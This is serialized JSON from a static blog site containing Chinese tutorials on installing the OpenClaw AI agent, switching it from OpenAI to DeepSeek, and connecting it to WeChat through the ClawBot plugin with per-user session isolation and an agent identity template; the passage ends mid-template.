"type":18,"tag":3561,"props":3562,"children":3564},"h5",{"id":3563},"q1-q3-配置",[3565],{"type":24,"value":3566},"Q1-Q3 配置",{"type":18,"tag":34,"props":3568,"children":3569},{},[3570,3572,3577,3578,3584,3585,3590],{"type":24,"value":3571},"依次选择 ",{"type":18,"tag":74,"props":3573,"children":3575},{"className":3574},[],[3576],{"type":24,"value":2175},{"type":24,"value":81},{"type":18,"tag":74,"props":3579,"children":3581},{"className":3580},[],[3582],{"type":24,"value":3583},"QuickStart",{"type":24,"value":81},{"type":18,"tag":74,"props":3586,"children":3588},{"className":3587},[],[3589],{"type":24,"value":2209},{"type":24,"value":222},{"type":18,"tag":34,"props":3592,"children":3593},{},[3594],{"type":18,"tag":54,"props":3595,"children":3598},{"alt":3596,"src":3597},"1780143787897","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780143787897.png",[],{"type":18,"tag":34,"props":3600,"children":3601},{},[3602],{"type":18,"tag":54,"props":3603,"children":3606},{"alt":3604,"src":3605},"1780143962234","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780143962234.png",[],{"type":18,"tag":34,"props":3608,"children":3609},{},[3610],{"type":18,"tag":54,"props":3611,"children":3614},{"alt":3612,"src":3613},"1780144124929","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780144124929.png",[],{"type":18,"tag":3561,"props":3616,"children":3618},{"id":3617},"q4-浏览器登录授权",[3619],{"type":24,"value":3620},"Q4 浏览器登录授权",{"type":18,"tag":34,"props":3622,"children":3623},{},[3624,3625,3630],{"type":24,"value":3164},{"type":18,"tag":74,"props":3626,"children":3628},{"className":3627},[],[3629],{"type":24,"value":2226},{"type":24,"value":3631},"，弹出浏览器进行 OpenAI 登录。",{"type":18,"tag":34,"props":3633,"children":3634},{},[3635],{"type":18,"tag":54,"props":3636,"children":3639},{"alt":3637,"src":3638},"1780144268219","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780144268219.png",[],{"type":18,"tag":121,"props":3641,"children":3642},{},[],{"type":18,"tag":27,"props":3644,"children":3646},{"id":3645},"问题排查",[3647],{"type":24,"value":3645},{"type":18,"tag":337,"props":3649,"children":3651},{"id":3650},"问题一地区限制",[3652],{"type":24,"value":3653},"问题一：地区限制",{"type":18,"tag":34,"props":3655,"children":3656},{},[3657,3658,3663],{"type":24,"value":2242},{"type":18,"tag":74,"props":3659,"children":3661},{"className":3660},[],[3662],{"type":24,"value":2248},{"type":24,"value":3664},"，登录成功了。但 OpenClaw 本地进程向 OpenAI 换取访问令牌时，被 OpenAI 判断为来自不支持的地区或网络线路。",{"type":18,"tag":34,"props":3666,"children":3667},{},[3668],{"type":18,"tag":54,"props":3669,"children":3672},{"alt":3670,"src":3671},"1780145568920","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780145568920.png",[],{"type":18,"tag":34,"props":3674,"children":3675},{},[3676,3680,3682,3687],{"type":18,"tag":105,"props":3677,"children":3678},{},[3679],{"type":24,"value":567},{"type":24,"value":3681},"：修改代理为 ",{"type":18,"tag":74,"props":3683,"children":3685},{"className":3684},[],[3686],{"type":24,"value":2265},{"type":24,"value":2267},{"type":18,"tag":287,"props":3689,"children":3690},{"className":2110,"code":2270,"language":2109,"meta":8,"style":8},[3691],{"type":18,"tag":74,"props":3692,"children":3693},{"__ignoreMap":8},[3694],{"type":18,"tag":297,"props":3695,"children":3696},{"class":299,"line":300},[3697],{"type":18,"tag":297,"props":3698,"children":3699},{},[3700],{"type":24,"value":2270},{"type":18,"tag":34,"props":3702,"children":3703},{},[3704,3706,3711],{"type":24,"value":3705},"登录成功，但 Codex 插件安装失败。直接 ",{"type":18,"tag":74,"props":3707,"children":3709},{"className":3708},[],[3710],{"type":24,"value":2292},{"type":24,"value":3712}," 中断进程即可。",{"type":18,"tag":34,"props":3714,"children":3715},{},[3716],{"type":18,"tag":54,"props":3717,"children":3720},{"alt":3718,"src":3719},"1780149412580","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780149412580.png",[],{"type":18,"tag":337,"props":3722,"children":3723},{"id":2297},[3724],{"type":24,"value":2297},{"type":18,"tag":34,"props":3726,"children":3727},{},[3728],{"type":24,"value":3729},"执行以下命令确认是否成功获取到 OpenAI 的大模型：",{"type":18,"tag":287,"props":3731,"children":3732},{"className":2110,"code":2307,"language":2109,"meta":8,"style":8},[3733],{"type":18,"tag":74,"props":3734,"children":3735},{"__ignoreMap":8},[3736],{"type":18,"tag":297,"props":3737,"children":3738},{"class":299,"line":300},[3739],{"type":18,"tag":297,"props":3740,"children":3741},{},[3742],{"type":24,"value":2307},{"type":18,"tag":34,"props":3744,"children":3745},{},[3746],{"type":18,"tag":54,"props":3747,"children":3750},{"alt":3748,"src":3749},"1780146499753","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780146499753.png",[],{"type":18,"tag":337,"props":3752,"children":3754},{"id":3753},"问题二对话请求被拒绝",[3755],{"type":24,"value":3756},"问题二：对话请求被拒绝",{"type":18,"tag":34,"props":3758,"children":3759},{},[3760,3761,3766],{"type":24,"value":642},{"type":18,"tag":74,"props":3762,"children":3764},{"className":3763},[],[3765],{"type":24,"value":2339},{"type":24,"value":3767}," 打开对话，调用模型后反馈推理调用失败。",{"type":18,"tag":34,"props":3769,"children":3770},{},[3771],{"type":24,"value":3772},"OpenClaw 能看到 OpenAI 账号，也能拉取模型列表，但真正发起 GPT-5.5 对话请求时，被 OpenAI 拒绝了。",{"type":18,"tag":34,"props":3774,"children":3775},{},[3776],{"type":18,"tag":54,"props":3777,"children":3780},{"alt":3778,"src":3779},"1780146724389","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780146724389.png",[],{"type":18,"tag":34,"props":3782,"children":3783},{},[3784,3788],{"type":18,"tag":105,"props":3785,"children":3786},{},[3787],{"type":24,"value":2354},{"type":24,"value":3789},"：OpenAI 有地区限制，改用 DeepSeek。",{"type":18,"tag":121,"props":3791,"children":3792},{},[],{"type":18,"tag":27,"props":3794,"children":3796},{"id":3795},"接入-deepseek",[3797],{"type":24,"value":3798},"接入 DeepSeek",{"type":18,"tag":337,"props":3800,"children":3802},{"id":3801},"打开配置项",[3803],{"type":24,"value":3801},{"type":18,"tag":287,"props":3805,"children":3806},{"className":2110,"code":2370,"language":2109,"meta":8,"style":8},[3807],{"type":18,"tag":74,"props":3808,"children":3809},{"__ignoreMap":8},[3810],{"type":18,"tag":297,"props":3811,"children":3812},{"class":299,"line":300},[3813],{"type":18,"tag":297,"props":3814,"children":3815},{},[3816],{"type":24,"value":2370},{"type":18,"tag":337,"props":3818,"children":3820},{"id":3819},"配置流程",[3821],{"type":24,"value":3819},{"type":18,"tag":431,"props":3823,"children":3824},{},[3825,3844],{"type":18,"tag":435,"props":3826,"children":3827},{},[3828],{"type":18,"tag":439,"props":3829,"children":3830},{},[3831,3835,3840],{"type":18,"tag":443,"props":3832,"children":3833},{"align":3465},[3834],{"type":24,"value":557},{"type":18,"tag":443,"props":3836,"children":3837},{},[3838],{"type":24,"value":3839},"选择",{"type":18,"tag":443,"props":3841,"children":3842},{},[3843],{"type":24,"value":843},{"type":18,"tag":459,"props":3845,"children":3846},{},[3847,3867,3887,3907,3927],{"type":18,"tag":439,"props":3848,"children":3849},{},[3850,3854,3862],{"type":18,"tag":466,"props":3851,"children":3852},{"align":3465},[3853],{"type":24,"value":2166},{"type":18,"tag":466,"props":3855,"children":3856},{},[3857],{"type":18,"tag":74,"props":3858,"children":3860},{"className":3859},[],[3861],{"type":24,"value":2422},{"type":18,"tag":466,"props":3863,"children":3864},{},[3865],{"type":24,"value":3866},"本地运行",{"type":18,"tag":439,"props":3868,"children":3869},{},[3870,3874,3882],{"type":18,"tag":466,"props":3871,"children":3872},{"align":3465},[3873],{"type":24,"value":2183},{"type":18,"tag":466,"props":3875,"children":3876},{},[3877],{"type":18,"tag":74,"props":3878,"children":3880},{"className":3879},[],[3881],{"type":24,"value":2438},{"type":18,"tag":466,"props":3883,"children":3884},{},[3885],{"type":24,"value":3886},"修改模型配置",{"type":18,"tag":439,"props":3888,"children":3889},{},[3890,3894,3902],{"type":18,"tag":466,"props":3891,"children":3892},{"align":3465},[3893],{"type":24,"value":2200},{"type":18,"tag":466,"props":3895,"children":3896},{},[3897],{"type":18,"tag":74,"props":3898,"children":3900},{"className":3899},[],[3901],{"type":24,"value":2454},{"type":18,"tag":466,"props":3903,"children":3904},{},[3905],{"type":24,"value":3906},"更多选项",{"type":18,"tag":439,"props":3908,"children":3909},{},[3910,3914,3922],{"type":18,"tag":466,"props":3911,"children":3912},{"align":3465},[3913],{"type":24,"value":2217},{"type":18,"tag":466,"props":3915,"children":3916},{},[3917],{"type":18,"tag":74,"props":3918,"children":3920},{"className":3919},[],[3921],{"type":24,"value":2470},{"type":18,"tag":466,"props":3923,"children":3924},{},[3925],{"type":24,"value":3926},"选择 DeepSeek，输入 API Key",{"type":18,"tag":439,"props":3928,"children":3929},{},[3930,3934,3939],{"type":18,"tag":466,"props":3931,"children":3932},{"align":3465},[3933],{"type":24,"value":2480},{"type":18,"tag":466,"props":3935,"children":3936},{},[3937],{"type":24,"value":3938},"空格键选中模型",{"type":18,"tag":466,"props":3940,"children":3941},{},[3942],{"type":24,"value":3943},"方向键选择需要的模型",{"type":18,"tag":3561,"props":3945,"children":3947},{"id":3946},"q1-q3-配置-1",[3948],{"type":24,"value":3566},{"type":18,"tag":34,"props":3950,"children":3951},{},[3952,3953,3959,3960,3965,3966,3971],{"type":24,"value":3164},{"type":18,"tag":74,"props":3954,"children":3956},{"className":3955},[],[3957],{"type":24,"value":3958},"Local",{"type":24,"value":81},{"type":18,"tag":74,"props":3961,"children":3963},{"className":3962},[],[3964],{"type":24,"value":2438},{"type":24,"value":81},{"type":18,"tag":74,"props":3967,"children":3969},{"className":3968},[],[3970],{"type":24,"value":2454},{"type":24,"value":222},{"type":18,"tag":34,"props":3973,"children":3974},{},[3975],{"type":18,"tag":54,"props":3976,"children":3979},{"alt":3977,"src":3978},"1780146947657","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780146947657.png",[],{"type":18,"tag":34,"props":3981,"children":3982},{},[3983],{"type":18,"tag":54,"props":3984,"children":3987},{"alt":3985,"src":3986},"1780147129514","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780147129514.png",[],{"type":18,"tag":34,"props":3989,"children":3990},{},[3991],{"type":18,"tag":54,"props":3992,"children":3995},{"alt":3993,"src":3994},"1780147166005","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780147166005.png",[],{"type":18,"tag":3561,"props":3997,"children":3999},{"id":3998},"q4-q5-配置",[4000],{"type":24,"value":4001},"Q4-Q5 配置",{"type":18,"tag":34,"props":4003,"children":4004},{},[4005,4006,4011],{"type":24,"value":3164},{"type":18,"tag":74,"props":4007,"children":4009},{"className":4008},[],[4010],{"type":24,"value":2470},{"type":24,"value":4012},"，输入自己的 API，然后选择需要的大模型（方向键选择，空格键选中）：",{"type":18,"tag":34,"props":4014,"children":4015},{},[4016],{"type":18,"tag":54,"props":4017,"children":4020},{"alt":4018,"src":4019},"1780147332623","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780147332623.png",[],{"type":18,"tag":34,"props":4022,"children":4023},{},[4024],{"type":18,"tag":54,"props":4025,"children":4028},{"alt":4026,"src":4027},"1780147436886","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780147436886.png",[],{"type":18,"tag":337,"props":4030,"children":4031},{"id":2501},[4032],{"type":24,"value":2501},{"type":18,"tag":34,"props":4034,"children":4035},{},[4036,4037,4042],{"type":24,"value":2490},{"type":18,"tag":74,"props":4038,"children":4040},{"className":4039},[],[4041],{"type":24,"value":2496},{"type":24,"value":4043}," 退出，重新执行：",{"type":18,"tag":287,"props":4045,"children":4046},{"className":2110,"code":2511,"language":2109,"meta":8,"style":8},[4047],{"type":18,"tag":74,"props":4048,"children":4049},{"__ignoreMap":8},[4050],{"type":18,"tag":297,"props":4051,"children":4052},{"class":299,"line":300},[4053],{"type":18,"tag":297,"props":4054,"children":4055},{},[4056],{"type":24,"value":2511},{"type":18,"tag":34,"props":4058,"children":4059},{},[4060,4062,4067,4068,4073],{"type":24,"value":4061},"打开后会自动恢复上一次的会话记录。输入 ",{"type":18,"tag":74,"props":4063,"children":4065},{"className":4064},[],[4066],{"type":24,"value":2533},{"type":24,"value":2535},{"type":18,"tag":74,"props":4069,"children":4071},{"className":4070},[],[4072],{"type":24,"value":2541},{"type":24,"value":4074},"，重新发送问题——成功！",{"type":18,"tag":34,"props":4076,"children":4077},{},[4078],{"type":18,"tag":54,"props":4079,"children":4082},{"alt":4080,"src":4081},"1780147719463","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780147719463.png",[],{"type":18,"tag":121,"props":4084,"children":4085},{},[],{"type":18,"tag":27,"props":4087,"children":4089},{"id":4088},"常用命令",[4090],{"type":24,"value":4088},{"type":18,"tag":337,"props":4092,"children":4094},{"id":4093},"查看认证状态",[4095],{"type":24,"value":4093},{"type":18,"tag":287,"props":4097,"children":4098},{"className":2110,"code":2559,"language":2109,"meta":8,"style":8},[4099],{"type":18,"tag":74,"props":4100,"children":4101},{"__ignoreMap":8},[4102],{"type":18,"tag":297,"props":4103,"children":4104},{"class":299,"line":300},[4105],{"type":18,"tag":297,"props":4106,"children":4107},{},[4108],{"type":24,"value":2559},{"type":18,"tag":34,"props":4110,"children":4111},{},[4112,4114,4119],{"type":24,"value":4113},"该命令用于",{"type":18,"tag":105,"props":4115,"children":4116},{},[4117],{"type":24,"value":4118},"认证状态检查",{"type":24,"value":4120},"，不会调用模型聊天，而是查看：",{"type":18,"tag":210,"props":4122,"children":4123},{},[4124,4129,4134],{"type":18,"tag":158,"props":4125,"children":4126},{},[4127],{"type":24,"value":4128},"当前有哪些模型可用",{"type":18,"tag":158,"props":4130,"children":4131},{},[4132],{"type":24,"value":4133},"哪些 Provider 已认证",{"type":18,"tag":158,"props":4135,"children":4136},{},[4137],{"type":24,"value":4138},"哪些认证过期了",{"type":18,"tag":34,"props":4140,"children":4141},{},[4142],{"type":18,"tag":54,"props":4143,"children":4146},{"alt":4144,"src":4145},"1780149065699","\u002Fimages\u002Fblog\u002Fopenclaw-install\u002F1780149065699.png",[],{"type":18,"tag":651,"props":4148,"children":4149},{},[4150],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":4152},[4153,4154,4155,4156,4157],{"id":3388,"depth":662,"text":3388},{"id":3432,"depth":662,"text":3435},{"id":3645,"depth":662,"text":3645},{"id":3795,"depth":662,"text":3798},{"id":4088,"depth":662,"text":4088},"content:blog:2026-06-01-OpenclawInstall.md","blog\u002F2026-06-01-OpenclawInstall.md","blog\u002F2026-06-01-OpenclawInstall",{"_path":4162,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":4163,"description":4164,"date":3381,"tags":4165,"body":4166,"_type":672,"_id":5160,"_source":674,"_file":5161,"_stem":5162,"_extension":677},"\u002Fblog\u002F2026-06-01-wechatclawbot","微信 ClawBot 插件","微信 ClawBot 插件安装与配置，将会话隔离的 AI 机器人接入微信，支持多用户独立对话。",[2983,2039],{"type":15,"children":4167,"toc":5153},[4168,4174,4178,4191,4199,4203,4211,4215,4256,4264,4280,4285,4293,4301,4304,4310,4315,4323,4326,4332,4337,4342,4347,4360,4365,4372,4380,4385,4398,4402,4409,4412,4418,4423,4436,4441,4447,4761,4767,4975,4978,4984,4990,5004,5010,5023,5095,5106,5119,5133,5149],{"type":18,"tag":27,"props":4169,"children":4171},{"id":4170},"一安装接入",[4172],{"type":24,"value":4173},"一、安装接入",{"type":18,"tag":337,"props":4175,"children":4176},{"id":2098},[4177],{"type":24,"value":2098},{"type":18,"tag":287,"props":4179,"children":4180},{"code":2605,"language":2109,"meta":8,"className":2110,"style":8},[4181],{"type":18,"tag":74,"props":4182,"children":4183},{"__ignoreMap":8},[4184],{"type":18,"tag":297,"props":4185,"children":4186},{"class":299,"line":300},[4187],{"type":18,"tag":297,"props":4188,"children":4189},{},[4190],{"type":24,"value":2605},{"type":18,"tag":34,"props":4192,"children":4193},{},[4194],{"type":18,"tag":54,"props":4195,"children":4198},{"alt":4196,"src":4197},"1780150270981","\u002Fimages\u002Fblog\u002Fwechat-clawbot\u002F1780150270981.png",[],{"type":18,"tag":34,"props":4200,"children":4201},{},[4202],{"type":24,"value":2621},{"type":18,"tag":34,"props":4204,"children":4205},{},[4206],{"type":18,"tag":54,"props":4207,"children":4210},{"alt":4208,"src":4209},"1780150364852","\u002Fimages\u002Fblog\u002Fwechat-clawbot\u002F1780150364852.png",[],{"type":18,"tag":337,"props":4212,"children":4213},{"id":2624},[4214],{"type":24,"value":2627},{"type":18,"tag":287,"props":4216,"children":4217},{"code":2630,"language":2109,"meta":8,"className":2110,"style":8},[4218],{"type":18,"tag":74,"props":4219,"children":4220},{"__ignoreMap":8},[4221,4228,4235,4242,4249],{"type":18,"tag":297,"props":4222,"children":4223},{"class":299,"line":300},[4224],{"type":18,"tag":297,"props":4225,"children":4226},{},[4227],{"type":24,"value":2642},{"type":18,"tag":297,"props":4229,"children":4230},{"class":299,"line":657},[4231],{"type":18,"tag":297,"props":4232,"children":4233},{},[4234],{"type":24,"value":2650},{"type":18,"tag":297,"props":4236,"children":4237},{"class":299,"line":662},[4238],{"type":18,"tag":297,"props":4239,"children":4240},{"emptyLinePlaceholder":793},[4241],{"type":24,"value":796},{"type":18,"tag":297,"props":4243,"children":4244},{"class":299,"line":799},[4245],{"type":18,"tag":297,"props":4246,"children":4247},{},[4248],{"type":24,"value":2665},{"type":18,"tag":297,"props":4250,"children":4251},{"class":299,"line":808},[4252],{"type":18,"tag":297,"props":4253,"children":4254},{},[4255],{"type":24,"value":2673},{"type":18,"tag":34,"props":4257,"children":4258},{},[4259],{"type":18,"tag":54,"props":4260,"children":4263},{"alt":4261,"src":4262},"1780151139690","\u002Fimages\u002Fblog\u002Fwechat-clawbot\u002F1780151139690.png",[],{"type":18,"tag":34,"props":4265,"children":4266},{},[4267,4268,4273,4275],{"type":24,"value":2678},{"type":18,"tag":74,"props":4269,"children":4271},{"className":4270},[],[4272],{"type":24,"value":2684},{"type":24,"value":4274},"，说明 OpenClaw 创建了一个 Windows 计划任务。",{"type":18,"tag":105,"props":4276,"children":4277},{},[4278],{"type":24,"value":4279},"重启电脑后，Gateway 会自动拉起。",{"type":18,"tag":34,"props":4281,"children":4282},{},[4283],{"type":24,"value":4284},"成功启动后，就可以在扫码的微信中正常聊天了。",{"type":18,"tag":34,"props":4286,"children":4287},{},[4288],{"type":18,"tag":54,"props":4289,"children":4292},{"alt":4290,"src":4291},"1780151327451","\u002Fimages\u002Fblog\u002Fwechat-clawbot\u002F1780151327451.png",[],{"type":18,"tag":34,"props":4294,"children":4295},{},[4296],{"type":18,"tag":54,"props":4297,"children":4300},{"alt":4298,"src":4299},"1780152652317","\u002Fimages\u002Fblog\u002Fwechat-clawbot\u002F1780152652317.png",[],{"type":18,"tag":121,"props":4302,"children":4303},{},[],{"type":18,"tag":27,"props":4305,"children":4307},{"id":4306},"二玩法介绍",[4308],{"type":24,"value":4309},"二、玩法介绍",{"type":18,"tag":34,"props":4311,"children":4312},{},[4313],{"type":24,"value":4314},"用微信号作为 AI 机器人，让好友添加这个号来聊天：",{"type":18,"tag":287,"props":4316,"children":4318},{"code":4317},"   机器账号\n      ↓\nopenclaw-weixin\n      ↓\nOpenClaw Gateway\n      ↓\n  DeepSeek\n",[4319],{"type":18,"tag":74,"props":4320,"children":4321},{"__ignoreMap":8},[4322],{"type":24,"value":4317},{"type":18,"tag":121,"props":4324,"children":4325},{},[],{"type":18,"tag":27,"props":4327,"children":4329},{"id":4328},"三会话隔离配置",[4330],{"type":24,"value":4331},"三、会话隔离配置",{"type":18,"tag":337,"props":4333,"children":4335},{"id":4334},"功能说明",[4336],{"type":24,"value":4334},{"type":18,"tag":34,"props":4338,"children":4339},{},[4340],{"type":24,"value":4341},"为了避免不同好友的对话混在一起，需要设置会话隔离。",{"type":18,"tag":337,"props":4343,"children":4345},{"id":4344},"配置命令",[4346],{"type":24,"value":4344},{"type":18,"tag":287,"props":4348,"children":4349},{"code":2745,"language":2109,"meta":8,"className":2110,"style":8},[4350],{"type":18,"tag":74,"props":4351,"children":4352},{"__ignoreMap":8},[4353],{"type":18,"tag":297,"props":4354,"children":4355},{"class":299,"line":300},[4356],{"type":18,"tag":297,"props":4357,"children":4358},{},[4359],{"type":24,"value":2745},{"type":18,"tag":34,"props":4361,"children":4362},{},[4363],{"type":24,"value":4364},"命令结构解析：",{"type":18,"tag":287,"props":4366,"children":4367},{"code":2764},[4368],{"type":18,"tag":74,"props":4369,"children":4370},{"__ignoreMap":8},[4371],{"type":24,"value":2764},{"type":18,"tag":34,"props":4373,"children":4374},{},[4375],{"type":18,"tag":54,"props":4376,"children":4379},{"alt":4377,"src":4378},"1780153195667","\u002Fimages\u002Fblog\u002Fwechat-clawbot\u002F1780153195667.png",[],{"type":18,"tag":337,"props":4381,"children":4383},{"id":4382},"验证配置",[4384],{"type":24,"value":4382},{"type":18,"tag":287,"props":4386,"children":4387},{"code":2777,"language":2109,"meta":8,"className":2110,"style":8},[4388],{"type":18,"tag":74,"props":4389,"children":4390},{"__ignoreMap":8},[4391],{"type":18,"tag":297,"props":4392,"children":4393},{"class":299,"line":300},[4394],{"type":18,"tag":297,"props":4395,"children":4396},{},[4397],{"type":24,"value":2777},{"type":18,"tag":34,"props":4399,"children":4400},{},[4401],{"type":24,"value":2793},{"type":18,"tag":287,"props":4403,"children":4404},{"code":2796},[4405],{"type":18,"tag":74,"props":4406,"children":4407},{"__ignoreMap":8},[4408],{"type":24,"value":2796},{"type":18,"tag":121,"props":4410,"children":4411},{},[],{"type":18,"tag":27,"props":4413,"children":4415},{"id":4414},"四agent-用户设定",[4416],{"type":24,"value":4417},"四、Agent 用户设定",{"type":18,"tag":337,"props":4419,"children":4421},{"id":4420},"查看设定文件",[4422],{"type":24,"value":4420},{"type":18,"tag":287,"props":4424,"children":4425},{"code":2815,"language":2109,"meta":8,"className":2110,"style":8},[4426],{"type":18,"tag":74,"props":4427,"children":4428},{"__ignoreMap":8},[4429],{"type":18,"tag":297,"props":4430,"children":4431},{"class":299,"line":300},[4432],{"type":18,"tag":297,"props":4433,"children":4434},{},[4435],{"type":24,"value":2815},{"type":18,"tag":34,"props":4437,"children":4438},{},[4439],{"type":24,"value":4440},"目录下有两个模板文件，用于让 Agent 逐步了解你和它自己。",{"type":18,"tag":337,"props":4442,"children":4444},{"id":4443},"identitymd-agent-身份定义",[4445],{"type":24,"value":4446},"IDENTITY.md - Agent 身份定义",{"type":18,"tag":287,"props":4448,"children":4451},{"code":4449,"language":672,"meta":8,"className":4450,"style":8},"# IDENTITY.md - Who Am I?\n\n_Fill this in during your first conversation. Make it yours._\n\n- **Name:**\n  _(pick something you like)_\n- **Creature:**\n  _(AI? robot? familiar? ghost in the machine? something weirder?)_\n- **Vibe:**\n  _(how do you come across? sharp? warm? chaotic? calm?)_\n- **Emoji:**\n  _(your signature — pick one that feels right)_\n- **Avatar:**\n  _(workspace-relative path, http(s) URL, or data URI)_\n\n---\n\nThis isn't just metadata. It's the start of figuring out who you are.\n\nNotes:\n\n- Save this file at the workspace root as `IDENTITY.md`.\n- For avatars, use a workspace-relative path like `avatars\u002Fopenclaw.png`.\n\n## Related\n\n- [Agent workspace](\u002Fconcepts\u002Fagent-workspace)\n","language-markdown shiki shiki-themes github-dark",[4452],{"type":18,"tag":74,"props":4453,"children":4454},{"__ignoreMap":8},[4455,4464,4471,4480,4487,4502,4510,4522,4531,4544,4553,4566,4575,4588,4597,4605,4614,4622,4631,4639,4648,4656,4679,4701,4709,4718,4726],{"type":18,"tag":297,"props":4456,"children":4457},{"class":299,"line":300},[4458],{"type":18,"tag":297,"props":4459,"children":4461},{"style":4460},"--shiki-default:#79B8FF;--shiki-default-font-weight:bold",[4462],{"type":24,"value":4463},"# IDENTITY.md - Who Am I?\n",{"type":18,"tag":297,"props":4465,"children":4466},{"class":299,"line":657},[4467],{"type":18,"tag":297,"props":4468,"children":4469},{"emptyLinePlaceholder":793},[4470],{"type":24,"value":796},{"type":18,"tag":297,"props":4472,"children":4473},{"class":299,"line":662},[4474],{"type":18,"tag":297,"props":4475,"children":4477},{"style":4476},"--shiki-default:#E1E4E8;--shiki-default-font-style:italic",[4478],{"type":24,"value":4479},"_Fill this in during your first conversation. Make it yours._\n",{"type":18,"tag":297,"props":4481,"children":4482},{"class":299,"line":799},[4483],{"type":18,"tag":297,"props":4484,"children":4485},{"emptyLinePlaceholder":793},[4486],{"type":24,"value":796},{"type":18,"tag":297,"props":4488,"children":4489},{"class":299,"line":808},[4490,4496],{"type":18,"tag":297,"props":4491,"children":4493},{"style":4492},"--shiki-default:#FFAB70",[4494],{"type":24,"value":4495},"-",{"type":18,"tag":297,"props":4497,"children":4499},{"style":4498},"--shiki-default:#E1E4E8;--shiki-default-font-weight:bold",[4500],{"type":24,"value":4501}," **Name:**\n",{"type":18,"tag":297,"props":4503,"children":4504},{"class":299,"line":817},[4505],{"type":18,"tag":297,"props":4506,"children":4507},{"style":4476},[4508],{"type":24,"value":4509},"  _(pick something you like)_\n",{"type":18,"tag":297,"props":4511,"children":4512},{"class":299,"line":826},[4513,4517],{"type":18,"tag":297,"props":4514,"children":4515},{"style":4492},[4516],{"type":24,"value":4495},{"type":18,"tag":297,"props":4518,"children":4519},{"style":4498},[4520],{"type":24,"value":4521}," **Creature:**\n",{"type":18,"tag":297,"props":4523,"children":4525},{"class":299,"line":4524},8,[4526],{"type":18,"tag":297,"props":4527,"children":4528},{"style":4476},[4529],{"type":24,"value":4530},"  _(AI? robot? familiar? ghost in the machine? something weirder?)_\n",{"type":18,"tag":297,"props":4532,"children":4534},{"class":299,"line":4533},9,[4535,4539],{"type":18,"tag":297,"props":4536,"children":4537},{"style":4492},[4538],{"type":24,"value":4495},{"type":18,"tag":297,"props":4540,"children":4541},{"style":4498},[4542],{"type":24,"value":4543}," **Vibe:**\n",{"type":18,"tag":297,"props":4545,"children":4547},{"class":299,"line":4546},10,[4548],{"type":18,"tag":297,"props":4549,"children":4550},{"style":4476},[4551],{"type":24,"value":4552},"  _(how do you come across? sharp? warm? chaotic? calm?)_\n",{"type":18,"tag":297,"props":4554,"children":4556},{"class":299,"line":4555},11,[4557,4561],{"type":18,"tag":297,"props":4558,"children":4559},{"style":4492},[4560],{"type":24,"value":4495},{"type":18,"tag":297,"props":4562,"children":4563},{"style":4498},[4564],{"type":24,"value":4565}," **Emoji:**\n",{"type":18,"tag":297,"props":4567,"children":4569},{"class":299,"line":4568},12,[4570],{"type":18,"tag":297,"props":4571,"children":4572},{"style":4476},[4573],{"type":24,"value":4574},"  _(your signature — pick one that feels right)_\n",{"type":18,"tag":297,"props":4576,"children":4578},{"class":299,"line":4577},13,[4579,4583],{"type":18,"tag":297,"props":4580,"children":4581},{"style":4492},[4582],{"type":24,"value":4495},{"type":18,"tag":297,"props":4584,"children":4585},{"style":4498},[4586],{"type":24,"value":4587}," **Avatar:**\n",{"type":18,"tag":297,"props":4589,"children":4591},{"class":299,"line":4590},14,[4592],{"type":18,"tag":297,"props":4593,"children":4594},{"style":4476},[4595],{"type":24,"value":4596},"  _(workspace-relative path, http(s) URL, or data URI)_\n",{"type":18,"tag":297,"props":4598,"children":4600},{"class":299,"line":4599},15,[4601],{"type":18,"tag":297,"props":4602,"children":4603},{"emptyLinePlaceholder":793},[4604],{"type":24,"value":796},{"type":18,"tag":297,"props":4606,"children":4608},{"class":299,"line":4607},16,[4609],{"type":18,"tag":297,"props":4610,"children":4611},{"style":4460},[4612],{"type":24,"value":4613},"---\n",{"type":18,"tag":297,"props":4615,"children":4617},{"class":299,"line":4616},17,[4618],{"type":18,"tag":297,"props":4619,"children":4620},{"emptyLinePlaceholder":793},[4621],{"type":24,"value":796},{"type":18,"tag":297,"props":4623,"children":4625},{"class":299,"line":4624},18,[4626],{"type":18,"tag":297,"props":4627,"children":4628},{"style":327},[4629],{"type":24,"value":4630},"This isn't just metadata. It's the start of figuring out who you are.\n",{"type":18,"tag":297,"props":4632,"children":4634},{"class":299,"line":4633},19,[4635],{"type":18,"tag":297,"props":4636,"children":4637},{"emptyLinePlaceholder":793},[4638],{"type":24,"value":796},{"type":18,"tag":297,"props":4640,"children":4642},{"class":299,"line":4641},20,[4643],{"type":18,"tag":297,"props":4644,"children":4645},{"style":327},[4646],{"type":24,"value":4647},"Notes:\n",{"type":18,"tag":297,"props":4649,"children":4651},{"class":299,"line":4650},21,[4652],{"type":18,"tag":297,"props":4653,"children":4654},{"emptyLinePlaceholder":793},[4655],{"type":24,"value":796},{"type":18,"tag":297,"props":4657,"children":4659},{"class":299,"line":4658},22,[4660,4664,4669,4674],{"type":18,"tag":297,"props":4661,"children":4662},{"style":4492},[4663],{"type":24,"value":4495},{"type":18,"tag":297,"props":4665,"children":4666},{"style":327},[4667],{"type":24,"value":4668}," Save this file at the workspace root as ",{"type":18,"tag":297,"props":4670,"children":4671},{"style":906},[4672],{"type":24,"value":4673},"`IDENTITY.md`",{"type":18,"tag":297,"props":4675,"children":4676},{"style":327},[4677],{"type":24,"value":4678},".\n",{"type":18,"tag":297,"props":4680,"children":4682},{"class":299,"line":4681},23,[4683,4687,4692,4697],{"type":18,"tag":297,"props":4684,"children":4685},{"style":4492},[4686],{"type":24,"value":4495},{"type":18,"tag":297,"props":4688,"children":4689},{"style":327},[4690],{"type":24,"value":4691}," For avatars, use a workspace-relative path like 